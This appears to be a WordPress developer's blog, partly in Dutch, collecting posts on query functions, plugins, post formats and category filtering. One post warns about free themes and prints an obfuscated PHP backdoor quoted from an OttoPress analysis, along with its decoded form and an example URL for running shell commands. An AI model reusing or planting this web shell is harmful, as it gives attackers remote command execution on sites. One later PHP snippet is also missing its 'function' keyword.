In or out of the loop – query_posts versus get_posts

Had some little time to explorer the functions which retrieve the posts. Until now I didn’t know the difference between query_posts and get_posts

The Codex is quiet clear on this:

The query_posts() function is intended to be used to modify the main page loop only. It is not intended as a means to create secondary loops on the page. If you want to create separate Loops outside of the main one, you should use get_posts() instead. Use of query_posts() on loops other than the main one can result in your main loop becoming incorrect and possibly displaying things that you were not expecting.

UPDATE: All the above is true, but….

Both functions use the same WP_Query object. Practically this means different behaviors on different pages. If the page is an category archive the WP_Query object, which is used by the above functions side by side, contains other posts then on the frontpage. The behavior is still not as I expect it to be, but bottom line is that it isn’t what I expect from it. The next post on this page sumarizes the problem with indepth knowledge:

WP uses an object called $wp_query for the main loop. We usually don’t see this object because it’s hidden behind have_posts() and the_post() that are only wrappers for $wp_query->have_posts() and $wp_query->the_post()

If you want to modify the main loop you should use query_posts() before the loop.

If you want another loop you can reutilize the $wp_query object using query_posts() before that new loop. This can be done many times if needed.

If for some reason you need to keep the $wp_query object around THEN you should use WP_Query. And of course, because have_posts() and the_post() are wrappers for $wp_query object you can’t use them with WP_Query. You should rather use $your_query_obj->have_posts() i.e.

$sidebar= WP_Query('category_name= sidebar'); 
while( $sidebar->have_posts() ): 
$sidebar->the_post();   
the_title();   
the_content(); 
endwhile; 

A good case where WP_Query could be better than query_posts() is a left sidebar. As the code loop for the sidebar will probably be put on top of the main loop, a query_posts() call will have changed the $wp_query object and also changed the main loop. In this case to use query_posts()at the sidebar code you will also need to use query_posts() before the main loop to query the proper content for that loop.

 

So using WP_Query for this case will keep $wp_query and therefore the main loop untouched…..

Grote schoonmaak – samenvatting van 3 jaar devblogs

De grote schoonmaak begint vorm te krijgen en dat betekent dat ik nu bij handige links, tips en howtos op mijn oude blogs aankom. Net zoals de dagen hiervoor zal ik de actuele data overzetten. Hieronder een aantal plugins die ik veelvuldig gebruik.

Add from Server is een simpele plugin waarmee reeds aanwezige files in de database van de database ingelezen kunnen worden. Simpel en effectief. CSS Cache Buster zorgt ervoor dat de bezoeker altijd de recentste versie van je CSS file voor zich heeft. Revision control had naar mijn mening standaardfunctionaliteit moeten zijn.

Validated geeft de administrator een handige interface om alle pagina’s te checken op validatieproblemen bij W3C. Helaas wordt deze plugin niet meer onderhouden, maar er zijn genoeg alternatieven.

Redirection zorgt er voor dat de bezoeker altijd een zinvolle pagina voorgeschoteld krijgt. Handig tijdens migraties.

Post formats and the WordPress UI

While trying to create some organization in my 12(!) blogs I’ve had since 2006 I was trying to use Post Formats to add all the bookmarks and links to my blog. I started using the blogroll which fits perfectly, but seems a little bit offroad since it isn’t easy to bookmark a link on a iPhone or by the widgets for your browser. So Post Formats seems the place to be, but aren’t as straightforward as they should be. An in-depth analysis on this subject over here. One of the comments linked to FarInSpace and this should be core functionality. It would help my clients understand WordPress much more quicker. Thumbs up for Dimas.

Categorieën uitsluiten in wp_list_categories

Aangezien ik een categorie gebruik voor privé berichten wil ik deze ook uitsluiten in de category-widget. Even een hook maken en klaar. NOT!

wp_list_categories understeunt het uitsluiten van categorieën (zie WordPress Codex), maar dit werkt dus niet met de standaard widgets, want die gebruiken de functie zonder variabelen mee te geven zoals bijvoorbeeld:

wp_list_categories(‘orderby=name&show_count=1&exclude=10′);

Om de lijst dynamisch aan te passen, ook qua HTML-output dient de ‘Walker’ aangepast te worden. De “Category”-taxonomy heeft een hiërarchie waar rekening mee gehouden dient te worden. Voor het genereren van de content wordt er een Walker-class gebruikt die langs alle Parents en Children loopt. Deze class kan uitgebreid worden in functions.php, maar daarmee wordt nog niet de standard wp_list_categories-functie uitgebreid. Dus ook hier geen oplossing. Het lijkt erop dat er toch echt een losse plugin of widget gebruikt moet worden. Dat is iets voor later. De links naar de interessante pagina’s geef ik hier toch.

Een aantal voorbeelden van het gebruik van categories, bijvoorbeeld dropdown selecties is te vinden op de Codex pagina van get_categories. Ook staat hier heel duidelijk hoe om wordt gegaan met parent en childs.

Voorbeelden van het anapassen van de Walker-class:

Walker-classes dus, nog ff niet…. Voor nu maar even de widget verwijderd. Opgelost.

De gevaren van Free Premium Templates

Free Templates zijn overal en nergens te krijgen. Vraag aan Google waar we free templates kunnen krijgen en duizenden sites bevolken de zoekresultaten. Soms zien ze er leuk uit, vaker zijn ze simpel en dertien in een dozijn. Als dat alles was dan had ik me niet druk gemaakt, maar check onderstaande link naar OttoPress. Hierin wordt haarfijn uitgelegd dat de volgende code in een template direct toegang geeft tot de shell:

<?php@
$str1 = "0cmVhbT1AJF9HRVRbJz" . $HTTPS_ACCEPT_URLENCODING['KOI8-R'];
@$str2 = "B4RkYnXTtAc3lzdGVtK" . $HTTPS_ACCEPT_URLENCODING['WIN-1251'];
@$str3 = "CRuZXdzdHJlYW0pOw==" . $HTTP_ACCEPT_URLENCODING['UTF-8'];
@eval(base64_decode($_GET['salt'] . $str1 . $str2 . $str3));?>

Decodeert naar:

$newstream=@$_GET['0xFF'];@system($newstream);

Wat dus betekent dat:

“Make a hit to example.com?salt=JG5ld3N&0xFF=**any-command-I-want** and have it execute it in the shell.” LEUK! Lees de comments in het artikel voor meer voorbeelden.

http://ottopress.com/2011/decoding-a-russian-hackers-code/#comments

Categorie uitsluiten – FrontEnd en BackEnd

Alle content op 1 plek is het doel van dit blog. Ook mijn ToDo-lijst, maar daar hoeft niet iedere bezoeker zicht op te hebben. Dus de posts en links moeten gefilterd worden. Nu kun je dit in het template oplossen, maar dan ziet een eventuele 2e auteur deze posts wel in de backend. Eigenlijk wil je de posts al gefilterd hebben voordat ze naar de loop gebracht worden. Hiervoor is de hook “pre_get_posts”. Even de WP_Query aanpassen door de categorie uit te sluiten en gaan. Niet dus. Op de Codex staat goed beschreven hoe de query aan te passen:

$query->set ( 'category_name', 'news' );

En het is ook bekend dat een min-teken voor de waarde deze juist uitsluit, maar dat werkte dus niet. Dit blijkt alleen te werken met IDs. De volgende code werkt wel:

//Filter content by role and category
hohj_privatecatfilter ($query) {
if ( is_super_admin() ) {
return $query;}
else {
$query->set ( 'cat', '-12');
return $query;}
}

add_filter('pre_get_posts', 'hohj_privatecatfilter');

Nu kunnen we beginnen met het toevoegen van een ToDo-list.

PS. Een handig plugin om de query_vars live te onderzoeken is WP Devel. Deze plugin voegt een debug bar toe aan je adminbar waarmee je veel zinnige informatie kan bekijken.

Link post format in een child theme

Na een paar frustrerende uren is het toch gelukt om de verschillende post formats toe te voegen aan mijn theme. Als basis gebruik ik Twenty Ten met een child theme. De verschillende tutorials en de Codex doen alsof het een eitje is, maar toch werkte het niet met de standaardcode:

add_theme_support( 'post-formats', array( 'aside', 'gallery' ) );

Maar dat werkte dus niet. Het komt er in het kort op neer dat Twenty Ten deze functie weer overschrijft met de standaard-array. Om het probleem op te lossen dien je een prioriteit mee te geven, bijvoorbeeld:

add_action( 'after_setup_theme', 'voodoochild_formats', 11 );
function voodoochild_formats(){
     add_theme_support( 'post-formats', array( 'aside', 'gallery', 'link' ) );
}

Met dank aan voodoopress.com

Mute Screamer – PHPIDS4wordpress

Mute Screamer uses PHPIDS to detect attacks on your WordPress site and react in a way that you choose. PHPIDS (PHP-Intrusion Detection System) is a simple to use, well structured, fast and state-of-the-art security layer for your PHP based web application. The IDS neither strips, sanitizes nor filters any malicious input, it simply recognizes when an attacker tries to break your site and reacts in exactly the way you want it to. Based on a set of approved and heavily tested filter rules any attack is given a numerical impact rating which makes it easy to decide what kind of action should follow the hacking attempt. This could range from simple logging to sending out an emergency mail to the development team, displaying a warning message for the attacker or even ending the user’s session.

WordPress › Mute Screamer « WordPress Plugins.